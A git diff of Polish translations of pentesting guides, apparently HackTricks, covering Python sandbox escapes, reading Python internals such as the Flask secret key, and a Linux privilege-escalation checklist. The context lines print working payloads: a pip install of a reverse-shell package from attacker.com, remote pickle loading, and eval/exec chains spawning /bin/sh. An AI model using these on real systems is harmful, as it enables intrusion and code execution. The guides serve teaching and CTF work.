@ -55,7 +54,7 @@ Python próbuje **załadować biblioteki z bieżącego katalogu jako pierwsze**
Możesz znaleźć **listę wstępnie zainstalowanych** pakietów tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Zauważ, że z pickle możesz sprawić, że środowisko Pythona **zaimportuje dowolne biblioteki** zainstalowane w systemie.\
Na przykład, poniższy pickle, po załadowaniu, zaimportuje bibliotekę pip, aby jej użyć:
Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip do jej użycia:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -74,12 +73,12 @@ Aby uzyskać więcej informacji na temat działania pickle, sprawdź to: [https:
Sztuczka udostępniona przez **@isHaacK**
Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pakiet i uzyskać powrotny shell, wywołując:
Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pakiet i uzyskać powrotną powłokę, wywołując:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę zauważyć, że przed jego użyciem powinieneś **rozpakować go, zmienić `setup.py` i wpisać swój adres IP dla reverse shell**:
Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę zauważyć, że przed użyciem powinieneś **rozpakować go, zmienić `setup.py` i wpisać swój adres IP dla reverse shell**:
{% file src="../../../images/Reverse.tar (1).gz" %}
@ -89,9 +88,9 @@ Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę zauważyć, ż
## Eval-ing kodu python
> [!WARNING]
> Zauważ, że exec pozwala na wieloliniowe ciągi i ";", ale eval nie (sprawdź operatora walrus)
> Zauważ, że exec pozwala na wieloliniowe ciągi i ";", ale eval nie (sprawdź operator walrus)
Jeśli pewne znaki są zabronione, możesz użyć reprezentacji **hex/octal/B64** do **obejścia** ograniczenia:
Jeśli pewne znaki są zabronione, możesz użyć **hex/octal/B64** reprezentacji, aby **obejść** ograniczenie:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -126,7 +125,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## Operatory i krótkie sztuczki
## Operatorzy i krótkie sztuczki
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -135,9 +134,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Obejście zabezpieczeń poprzez kodowanie (UTF-7)
## Obejście zabezpieczeń za pomocą kodowania (UTF-7)
W [**tym opisie**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używane do ładowania i wykonywania dowolnego kodu python w pozornym piaskownicy:
W [**tym artykule**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używane do ładowania i wykonywania dowolnego kodu python w pozornym piaskownicy:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -152,7 +151,7 @@ Możliwe jest również ominięcie tego za pomocą innych kodowań, np. `raw_uni
## Wykonanie Pythona bez wywołań
Jeśli jesteś w pułapce Pythona, która **nie pozwala na wywołania**, wciąż istnieją sposoby na **wykonywanie dowolnych funkcji, kodu** i **poleceń**.
Jeśli jesteś w pułapce Pythona, która **nie pozwala na wywołania**, wciąż istnieją sposoby na **wykonanie dowolnych funkcji, kodu** i **poleceń**.
### RCE z [dekoratorami](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -182,7 +181,7 @@ Jeśli możesz **zadeklarować klasę** i **utworzyć obiekt** tej klasy, możes
#### RCE z niestandardowymi klasami
Możesz modyfikować niektóre **metody klas** (_przez przeciążenie istniejących metod klas lub tworzenie nowej klasy_), aby sprawić, że będą **wykonywać dowolny kod** po **wywołaniu** bez bezpośredniego ich wywoływania.
Możesz modyfikować niektóre **metody klas** (_przez nadpisywanie istniejących metod klas lub tworzenie nowej klasy_), aby sprawić, że będą **wykonywać dowolny kod** po **wywołaniu** bez bezpośredniego ich wywoływania.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -304,8 +303,8 @@ pass
```
## Builtins
- [**Funkcje wbudowane w python2**](https://docs.python.org/2/library/functions.html)
- [**Funkcje wbudowane w python3**](https://docs.python.org/3/library/functions.html)
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Jeśli masz dostęp do obiektu **`__builtins__`**, możesz importować biblioteki (zauważ, że możesz również użyć tutaj innej reprezentacji ciągu pokazanej w ostatniej sekcji):
```python
@ -315,7 +314,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
### Brak Wbudowanych
Kiedy nie masz `__builtins__`, nie będziesz w stanie zaimportować niczego ani nawet czytać lub pisać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\
Jednak **domyślnie python importuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności, które można wykorzystać do uzyskania **dowolnego wykonania kodu**.
Jednak **domyślnie python ładuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności, które mogą być wykorzystane do uzyskania **dowolnego wykonania kodu**.
W poniższych przykładach możesz zaobserwować, jak **nadużywać** niektóre z tych "**nieszkodliwych**" modułów załadowanych, aby **uzyskać** **niebezpieczne** **funkcjonalności** wewnątrz nich.
@ -359,7 +358,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Poniżej znajduje się większa funkcja**](./#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których można znaleźć **builtins**.
[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których można znaleźć **builtins**.
#### Python2 i Python3
```python
@ -375,7 +374,7 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals i locals
## Globals and locals
Sprawdzanie **`globals`** i **`locals`** to dobry sposób, aby dowiedzieć się, do czego masz dostęp.
```python
@ -401,7 +400,7 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Poniżej znajduje się większa funkcja**](./#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których można znaleźć **globals**.
[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których można znaleźć **globals**.
## Odkrywanie dowolnej egzekucji
@ -483,7 +482,7 @@ Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że mogą b
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Ponadto, moglibyśmy nawet sprawdzić, które moduły ładują złośliwe biblioteki:
Ponadto, możemy nawet sprawdzić, które moduły ładują złośliwe biblioteki:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -682,11 +681,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Zauważ, jak możesz **uzyskać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` i **elementu dict** z **nawiasami** bez cudzysłowów `__globals__[CONFIG]`
Zauważ, jak możesz **uzyskać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` oraz **elementu dict** za pomocą **nawiasów** bez cudzysłowów `__globals__[CONFIG]`.
Zauważ również, że możesz użyć `.__dict__`, aby wyliczyć elementy obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Zauważ również, że możesz użyć `.__dict__`, aby wyliczyć elementy obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`.
Niektóre inne interesujące cechy formatów ciągów to możliwość **wykonywania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając **`!s`**, **`!r`**, **`!a`** odpowiednio:
Inne interesujące cechy formatów ciągów to możliwość **wykonywania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając **`!s`**, **`!r`**, **`!a`** odpowiednio:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
@ -702,7 +701,7 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Więcej przykładów** dotyczących **formatu** **łańcucha** można znaleźć na [**https://pyformat.info/**](https://pyformat.info)
**Więcej przykładów** dotyczących **formatu** **łańcucha** można znaleźć w [**https://pyformat.info/**](https://pyformat.info)
> [!OSTRZEŻENIE]
> Sprawdź również następującą stronę w poszukiwaniu gadżetów, które r**ead sensitive information from Python internal objects**:
@ -735,14 +734,14 @@ Z [tutaj](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-
Zgodnie z [**wyzwaniem TypeMonkey z tego opisu**](https://corgi.rip/posts/buckeye-writeups/) możliwe jest ładowanie dowolnych bibliotek z dysku, wykorzystując lukę w formacie łańcucha w pythonie.
Przypomnienie: za każdym razem, gdy wykonywana jest akcja w pythonie, wywoływana jest jakaś funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** lub **`{'a':'b'}['a']`** będzie **`{'a':'b'}.__getitem__('a')`**.
Przypomnienie, za każdym razem, gdy wykonywana jest akcja w pythonie, wywoływana jest jakaś funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** lub **`{'a':'b'}['a']`** będzie **`{'a':'b'}.__getitem__('a')`**.
Masz więcej takich przykładów w sekcji [**Wykonanie Pythona bez wywołań**](./#python-execution-without-calls).
Masz więcej takich przykładów w sekcji [**Wykonanie Pythona bez wywołań**](#python-execution-without-calls).
Luka w formacie łańcucha w pythonie nie pozwala na wykonanie funkcji (nie pozwala na użycie nawiasów), więc nie jest możliwe uzyskanie RCE jak `'{0.system("/bin/sh")}'.format(os)`.\
Jednak możliwe jest użycie `[]`. Dlatego, jeśli powszechna biblioteka pythonowa ma metodę **`__getitem__`** lub **`__getattr__`**, która wykonuje dowolny kod, można je wykorzystać do uzyskania RCE.
Szukając takiego gadżetu w pythonie, opis proponuje to [**zapytanie wyszukiwania Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gdzie znalazł ten [przykład](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Szukając takiego gadżetu w pythonie, opis proponuje tę [**kwerendę wyszukiwania na Githubie**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gdzie znalazł ten [przykład](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -768,14 +767,14 @@ To urządzenie pozwala na **załadowanie biblioteki z dysku**. Dlatego konieczne
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
Wyzwanie w rzeczywistości wykorzystuje inną lukę w serwerze, która pozwala na tworzenie dowolnych plików na dysku serwera.
Wyzwanie w rzeczywistości wykorzystuje inną podatność na serwerze, która pozwala na tworzenie dowolnych plików na dysku serwera.
## Analiza obiektów Pythona
> [!NOTE]
> Jeśli chcesz **nauczyć się** o **bytecode Pythona** w głębi, przeczytaj ten **świetny** post na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
W niektórych CTF-ach możesz otrzymać nazwę **niestandardowej funkcji, w której znajduje się flaga** i musisz zobaczyć **wnętrze** **funkcji**, aby ją wydobyć.
W niektórych CTF możesz otrzymać nazwę **niestandardowej funkcji, w której znajduje się flaga** i musisz zobaczyć **wnętrze** **funkcji**, aby ją wydobyć.
To jest funkcja do zbadania:
```python
@ -806,7 +805,7 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Zobacz tutaj więcej miejsc, aby uzyskać globals**](./#globals-and-locals)
[**Zobacz tutaj więcej miejsc do uzyskania globals**](#globals-and-locals)
### **Dostęp do kodu funkcji**
@ -898,7 +897,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy Pythona**, możesz uzyskać **bytecode** funkcji (`get_flag.func_code.co_code`) i **rozłożyć** go lokalnie. Nie zobaczysz zawartości zmiennych, które są ładowane (`LOAD_CONST`), ale możesz je zgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również informuje o przesunięciu zmiennej, która jest ładowana.
Zauważ, że **jeśli nie możesz zaimportować `dis` w piaskownicy Pythona**, możesz uzyskać **bajtowy kod** funkcji (`get_flag.func_code.co_code`) i **zdekompilować** go lokalnie. Nie zobaczysz zawartości zmiennych, które są ładowane (`LOAD_CONST`), ale możesz je odgadnąć z (`get_flag.func_code.co_consts`), ponieważ `LOAD_CONST` również informuje o przesunięciu zmiennej, która jest ładowana.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -958,7 +957,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!NOTE]
> W zależności od wersji Pythona, **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem, aby poznać kolejność parametrów w wersji Pythona, którą uruchamiasz, jest wykonanie:
> W zależności od wersji Pythona, **parametry** `code_type` mogą mieć **inną kolejność**. Najlepszym sposobem, aby poznać kolejność parametrów w wersji Pythona, którą uruchamiasz, jest wykonanie:
>
> ```
> import types
@ -966,10 +965,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### Odtwarzanie wyciekłej funkcji
### Rekreacja wyciekłej funkcji
> [!WARNING]
> W poniższym przykładzie weźmiemy wszystkie dane potrzebne do odtworzenia funkcji bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie**, wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to to, co **musisz wyciekować**.
> W poniższym przykładzie weźmiemy wszystkie dane potrzebne do rekreacji funkcji bezpośrednio z obiektu kodu funkcji. W **prawdziwym przykładzie**, wszystkie **wartości** potrzebne do wykonania funkcji **`code_type`** to to, co **musisz wyciekować**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -982,7 +981,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
W poprzednich przykładach na początku tego posta możesz zobaczyć **jak wykonać dowolny kod python za pomocą funkcji `compile`**. To jest interesujące, ponieważ możesz **wykonać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy zrobić to samo używając **`exec`**).\
W poprzednich przykładach na początku tego wpisu możesz zobaczyć **jak wykonać dowolny kod python za pomocą funkcji `compile`**. To jest interesujące, ponieważ możesz **wykonać całe skrypty** z pętlami i wszystkim w **jednej linii** (i moglibyśmy zrobić to samo używając **`exec`**).\
W każdym razie, czasami może być przydatne, aby **utworzyć** **skompilowany obiekt** na lokalnej maszynie i wykonać go na **maszynie CTF** (na przykład, ponieważ nie mamy funkcji `compiled` w CTF).
Na przykład, skompilujmy i wykonajmy ręcznie funkcję, która odczytuje _./poc.py_:
@ -1012,7 +1011,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Jeśli nie możesz uzyskać dostępu do `eval` lub `exec`, możesz stworzyć **odpowiednią funkcję**, ale jej bezpośrednie wywołanie zazwyczaj zakończy się niepowodzeniem z komunikatem: _konstruktor niedostępny w trybie ograniczonym_. Musisz więc mieć **funkcję, która nie jest w ograniczonym środowisku, aby wywołać tę funkcję.**
Jeśli nie możesz uzyskać dostępu do `eval` lub `exec`, możesz stworzyć **odpowiednią funkcję**, ale bezpośrednie jej wywołanie zazwyczaj zakończy się niepowodzeniem z komunikatem: _konstruktor niedostępny w trybie ograniczonym_. Musisz więc mieć **funkcję, która nie jest w ograniczonym środowisku, aby wywołać tę funkcję.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1035,7 +1034,7 @@ Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.de
### Assert
Python uruchomiony z optymalizacjami z parametrem `-O` usunie instrukcje assert oraz wszelki kod warunkowy zależny od wartości **debug**.\
Dlatego kontrole takie jak
Dlatego sprawdzenia takie jak
```python
def check_permission(super_user):
try:
@ -1044,7 +1043,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
zostanie ominięty
będzie omijany
## Odniesienia

View File

@ -4,7 +4,7 @@
## Podstawowe informacje
Różne luki, takie jak [**Python Format Strings**](bypass-python-sandboxes/#python-format-string) lub [**Class Pollution**](class-pollution-pythons-prototype-pollution.md), mogą pozwolić na **odczyt danych wewnętrznych Pythona, ale nie pozwolą na wykonanie kodu**. Dlatego pentester musi maksymalnie wykorzystać te uprawnienia do odczytu, aby **uzyskać wrażliwe uprawnienia i eskalować lukę**.
Różne luki, takie jak [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) lub [**Class Pollution**](class-pollution-pythons-prototype-pollution.md), mogą pozwolić na **odczyt danych wewnętrznych Pythona, ale nie pozwolą na wykonanie kodu**. Dlatego pentester musi maksymalnie wykorzystać te uprawnienia do odczytu, aby **uzyskać wrażliwe uprawnienia i eskalować lukę**.
### Flask - Odczyt klucza tajnego
@ -13,7 +13,7 @@ Główna strona aplikacji Flask prawdopodobnie będzie miała globalny obiekt **
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```
W tym przypadku możliwe jest uzyskanie dostępu do tego obiektu, używając dowolnego gadżetu do **uzyskiwania dostępu do obiektów globalnych** z [**strony Bypass Python sandboxes**](bypass-python-sandboxes/).
W tym przypadku możliwe jest uzyskanie dostępu do tego obiektu, używając dowolnego gadżetu do **uzyskania dostępu do obiektów globalnych** z [**strony Bypass Python sandboxes**](bypass-python-sandboxes/).
W przypadku, gdy **vulnerability znajduje się w innym pliku python**, potrzebujesz gadżetu do przeszukiwania plików, aby dotrzeć do głównego, aby **uzyskać dostęp do obiektu globalnego `app.secret_key`**, aby zmienić klucz tajny Flask i móc [**eskalować uprawnienia** znając ten klucz](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).

View File

@ -4,71 +4,71 @@
### **Najlepsze narzędzie do wyszukiwania wektorów lokalnej eskalacji uprawnień w systemie Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### [Informacje o systemie](privilege-escalation/#system-information)
### [Informacje o systemie](privilege-escalation/index.html#system-information)
- [ ] Uzyskaj **informacje o systemie operacyjnym**
- [ ] Sprawdź [**ŚCIEŻKĘ**](privilege-escalation/#path), czy jest jakaś **zapisywalna folder**?
- [ ] Sprawdź [**zmienne środowiskowe**](privilege-escalation/#env-info), czy są jakieś wrażliwe dane?
- [ ] Szukaj [**eksploitów jądra**](privilege-escalation/#kernel-exploits) **używając skryptów** (DirtyCow?)
- [ ] **Sprawdź**, czy [**wersja sudo** jest podatna](privilege-escalation/#sudo-version)
- [ ] [**Weryfikacja podpisu Dmesg** nie powiodła się](privilege-escalation/#dmesg-signature-verification-failed)
- [ ] Więcej enumeracji systemu ([data, statystyki systemu, informacje o CPU, drukarki](privilege-escalation/#more-system-enumeration))
- [ ] [**Enumeruj więcej zabezpieczeń**](privilege-escalation/#enumerate-possible-defenses)
- [ ] Sprawdź [**ŚCIEŻKĘ**](privilege-escalation/index.html#path), czy jest jakaś **zapisywalna folder**?
- [ ] Sprawdź [**zmienne środowiskowe**](privilege-escalation/index.html#env-info), czy są jakieś wrażliwe dane?
- [ ] Szukaj [**eksploitów jądra**](privilege-escalation/index.html#kernel-exploits) **używając skryptów** (DirtyCow?)
- [ ] **Sprawdź**, czy [**wersja sudo** jest podatna](privilege-escalation/index.html#sudo-version)
- [ ] [**Weryfikacja podpisu Dmesg** nie powiodła się](privilege-escalation/index.html#dmesg-signature-verification-failed)
- [ ] Więcej enumeracji systemu ([data, statystyki systemu, informacje o CPU, drukarki](privilege-escalation/index.html#more-system-enumeration))
- [ ] [Enumeruj więcej zabezpieczeń](privilege-escalation/index.html#enumerate-possible-defenses)
### [Dyski](privilege-escalation/#drives)
### [Dyski](privilege-escalation/index.html#drives)
- [ ] **Lista zamontowanych** dysków
- [ ] **Wypisz zamontowane** dyski
- [ ] **Czy jest jakiś niezmontowany dysk?**
- [ ] **Czy są jakieś dane uwierzytelniające w fstab?**
### [**Zainstalowane oprogramowanie**](privilege-escalation/#installed-software)
### [**Zainstalowane oprogramowanie**](privilege-escalation/index.html#installed-software)
- [ ] **Sprawdź** [**przydatne oprogramowanie**](privilege-escalation/#useful-software) **zainstalowane**
- [ ] **Sprawdź** [**podatne oprogramowanie**](privilege-escalation/#vulnerable-software-installed) **zainstalowane**
- [ ] **Sprawdź** [**przydatne oprogramowanie**](privilege-escalation/index.html#useful-software) **zainstalowane**
- [ ] **Sprawdź** [**podatne oprogramowanie**](privilege-escalation/index.html#vulnerable-software-installed) **zainstalowane**
### [Procesy](privilege-escalation/#processes)
### [Procesy](privilege-escalation/index.html#processes)
- [ ] Czy jakieś **nieznane oprogramowanie działa**?
- [ ] Czy jakieś oprogramowanie działa z **większymi uprawnieniami niż powinno**?
- [ ] Szukaj **eksploitów działających procesów** (szczególnie wersji działającej).
- [ ] Czy możesz **zmodyfikować binarny** plik jakiegoś działającego procesu?
- [ ] Czy możesz **zmodyfikować binarny plik** jakiegoś działającego procesu?
- [ ] **Monitoruj procesy** i sprawdź, czy jakiś interesujący proces działa często.
- [ ] Czy możesz **odczytać** pamięć **procesu** (gdzie mogą być zapisane hasła)?
- [ ] Czy możesz **odczytać** jakąś interesującą **pamięć procesu** (gdzie mogą być zapisane hasła)?
### [Zadania zaplanowane/Cron?](privilege-escalation/#scheduled-jobs)
### [Zadania zaplanowane/Cron?](privilege-escalation/index.html#scheduled-jobs)
- [ ] Czy [**ŚCIEŻKA**](privilege-escalation/#cron-path) jest modyfikowana przez jakiś cron i możesz w niej **zapisać**?
- [ ] Czy jest jakiś [**znak wieloznaczny**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) w zadaniu cron?
- [ ] Czy jakiś [**modyfikowalny skrypt**](privilege-escalation/#cron-script-overwriting-and-symlink) jest **wykonywany** lub znajduje się w **modyfikowalnym folderze**?
- [ ] Czy wykryłeś, że jakiś **skrypt** może być lub jest [**wykonywany** bardzo **często**](privilege-escalation/#frequent-cron-jobs)? (co 1, 2 lub 5 minut)
- [ ] Czy [**ŚCIEŻKA**](privilege-escalation/index.html#cron-path) jest modyfikowana przez jakiś cron i możesz w niej **zapisywać**?
- [ ] Jakieś [**znaki wieloznaczne**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) w zadaniu cron?
- [ ] Jakiś [**modyfikowalny skrypt**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) jest **wykonywany** lub znajduje się w **modyfikowalnym folderze**?
- [ ] Czy wykryłeś, że jakiś **skrypt** może być lub jest [**wykonywany** bardzo **często**](privilege-escalation/index.html#frequent-cron-jobs)? (co 1, 2 lub 5 minut)
### [Usługi](privilege-escalation/#services)
### [Usługi](privilege-escalation/index.html#services)
- [ ] Czy jest jakiś **zapisywalny plik .service**?
- [ ] Czy jest jakiś **zapisywalny plik binarny** wykonywany przez **usługę**?
- [ ] Czy jest jakiś **zapisywalny folder w PATH systemd**?
- [ ] Jakikolwiek **zapisywalny plik .service**?
- [ ] Jakikolwiek **zapisywalny plik binarny** wykonywany przez **usługę**?
- [ ] Jakikolwiek **zapisywalny folder w PATH systemd**?
### [Timery](privilege-escalation/#timers)
### [Timery](privilege-escalation/index.html#timers)
- [ ] Czy jest jakiś **zapisywalny timer**?
- [ ] Jakikolwiek **zapisywalny timer**?
### [Gniazda](privilege-escalation/#sockets)
### [Gniazda](privilege-escalation/index.html#sockets)
- [ ] Czy jest jakiś **zapisywalny plik .socket**?
- [ ] Jakikolwiek **zapisywalny plik .socket**?
- [ ] Czy możesz **komunikować się z jakimkolwiek gniazdem**?
- [ ] **Gniazda HTTP** z interesującymi informacjami?
### [D-Bus](privilege-escalation/#d-bus)
### [D-Bus](privilege-escalation/index.html#d-bus)
- [ ] Czy możesz **komunikować się z jakimkolwiek D-Bus**?
### [Sieć](privilege-escalation/#network)
### [Sieć](privilege-escalation/index.html#network)
- [ ] Enumeruj sieć, aby wiedzieć, gdzie jesteś
- [ ] **Otwarte porty, do których nie mogłeś uzyskać dostępu** przed uzyskaniem powłoki wewnątrz maszyny?
- [ ] Zenumeruj sieć, aby wiedzieć, gdzie jesteś
- [ ] **Otwarte porty, do których nie mogłeś uzyskać dostępu przed** uzyskaniem powłoki wewnątrz maszyny?
- [ ] Czy możesz **przechwytywać ruch** używając `tcpdump`?
### [Użytkownicy](privilege-escalation/#users)
### [Użytkownicy](privilege-escalation/index.html#users)
- [ ] Ogólna **enumeracja użytkowników/grup**
- [ ] Czy masz **bardzo duży UID**? Czy **maszyna** jest **podatna**?
@ -77,48 +77,48 @@
- [ ] Polityka haseł?
- [ ] Spróbuj **użyć** każdego **znanego hasła**, które odkryłeś wcześniej, aby zalogować się **z każdym** możliwym **użytkownikiem**. Spróbuj również zalogować się bez hasła.
### [Zapisywalna ŚCIEŻKA](privilege-escalation/#writable-path-abuses)
### [Zapisywalna ŚCIEŻKA](privilege-escalation/index.html#writable-path-abuses)
- [ ] Jeśli masz **uprawnienia do zapisu w jakimś folderze w PATH**, możesz być w stanie eskalować uprawnienia
